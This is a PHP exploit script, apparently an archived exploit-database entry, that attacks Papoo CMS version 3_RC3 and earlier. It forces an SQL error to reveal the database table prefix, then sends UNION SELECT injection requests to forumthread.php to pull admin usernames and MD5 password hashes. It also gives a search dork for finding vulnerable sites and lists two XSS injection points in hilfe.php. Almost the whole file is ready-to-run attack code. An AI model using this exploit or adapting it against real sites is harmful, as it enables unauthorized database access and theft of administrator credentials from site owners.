papoo3rc3.php.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PAPOO <= 3_RC3 SQL injection / admin credentials disclosure\n";  
echo "by rgod [email protected]\n";  
echo "site: http://retrogod.altervista.org\n";  
echo "dork: \"Help * Contact * Imprint * Sitemap\" | \"powered by papoo\" | \"powered by cms papoo\"\n\n";  
  
/*  
notes:  
works regardless of magic_quotes_gpc settings...  
there is some magic quotes disable code in variable_class.php near line 120-145  
also you can always disclose table prefix...  
we have different number of columns in older version, we will shortly bruteforce query  
  
oh, we have two xss even:  
http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]  
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]  
  
*/  
  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." host path OPTIONS\n";  
echo "host: target server (ip/hostname)\n";  
echo "path: path to Papoo\n";  
echo "Options:\n";  
echo " -T[prefix] specify a table prefix (there is nor a default one, try papoo or papoo_\n";  
echo " however, if not specified, we will disclose it)\n";  
echo " -p[port]: specify a port other than 80\n";  
echo " -P[ip:port]: specify a proxy\n";  
echo "Example:\r\n";  
echo "php ".$argv[0]." localhost /papoo/\n";  
echo "php ".$argv[0]." localhost /papoo/ -Tpapoo_\n";  
die;  
}  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
  
}  
  
function is_hash($hash)  
{  
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}  
else {return false;}  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
if ($temp=="-T")  
{  
$prefix=str_replace("-T","",$argv[$i]);  
}  
}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
if ($prefix=="")  
{  
$packet="GET ".$p."forumthread.php?msgid=%27 HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"You have an error in your SQL syntax"))  
{  
$temp=explode("_papoo_message.forumid",$html);  
$temp2=explode("AND ",$temp[0]);  
$prefix=$temp2[count($temp2)-1];  
echo "table prefix -> ".$prefix."\n";  
}  
else  
{die("Unable to disclose table prefix...\n");}  
}  
  
$diff=array(  
",0,0,0,0,0",  
",0,0,0,0",  
",0,0,0",  
",0,0",  
",0",  
""  
);  
for ($j=0; $j<=count($diff)-1; $j++)  
{  
$sql="9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':',password,'*WhOp*'),0,0,0,0,0".$diff[$j]."/**/FROM ".$prefix."_papoo_user/**/WHERE/**/gruppenid='g1,'/*";  
$sql=urlencode($sql);  
$packet="GET ".$p."forumthread.php?msgid=".$sql." HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
$temp=explode("*WhOp*",$html);  
for ($i=1; $i<=count($temp)-1; $i++)  
{  
$temp2=explode(":",$temp[$i]);  
if (is_hash($temp2[1]))  
{  
echo "--------------------------------------------------------\n";  
echo "admin -> ".$temp2[0]." \n";  
echo "password (md5) -> ".$temp2[1]." \n";  
echo "--------------------------------------------------------\n";  
die;  
}  
}  
}  
//if you are here...  
echo "exploit failed...";  
?>  
  
original url: http://retrogod.altervista.org/papoo_3rc3_sql.html  
`